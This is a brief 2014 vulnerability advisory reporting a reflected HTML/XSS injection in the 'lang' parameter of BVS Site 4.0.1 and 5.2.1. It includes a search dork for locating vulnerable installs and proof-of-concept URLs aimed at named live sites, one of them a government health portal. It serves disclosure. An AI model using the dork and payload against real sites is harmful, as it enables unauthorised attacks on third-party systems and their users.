BVS Site 4.0.1 / 5.2.1 XSS Scripting Vulnerability

+] Persistent Cross Site Scripting on BVS Site
[+] Date: 02/05/2014
[+] Risk: HIGH
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage: http://trac.reddes.bvsalud.org/projects/bvs-site/wiki/Downloads
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: index.php
[+] Dork : inurl:"/php/index.php?lang="
[+] vulnerable versions: 4.0.1 , 5.2.1
[+] Exploit : http://host/php/index.php?lang=[XSS]
[+] PoC :http://estacaobvs.saude.gov.br/php/index.php?lang=<center>Felipe Andrian Peixoto</center>
         http://www.scielo.org/php/index.php?lang=<center>Felipe Andrian Peixoto</center>
         http://www.bvmemorial.fapesp.br/php/index.php?lang=<center>Felipe Andrian Peixoto</center>

ps:others versions may be affected



//The information contained within this publication is

//supplied "as-is"with no warranties or guarantees of fitness

//of use or otherwise.Bot24, Inc nor Bradley Sean Susser accepts

//responsibility for any damage caused by the use or misuse of

//this information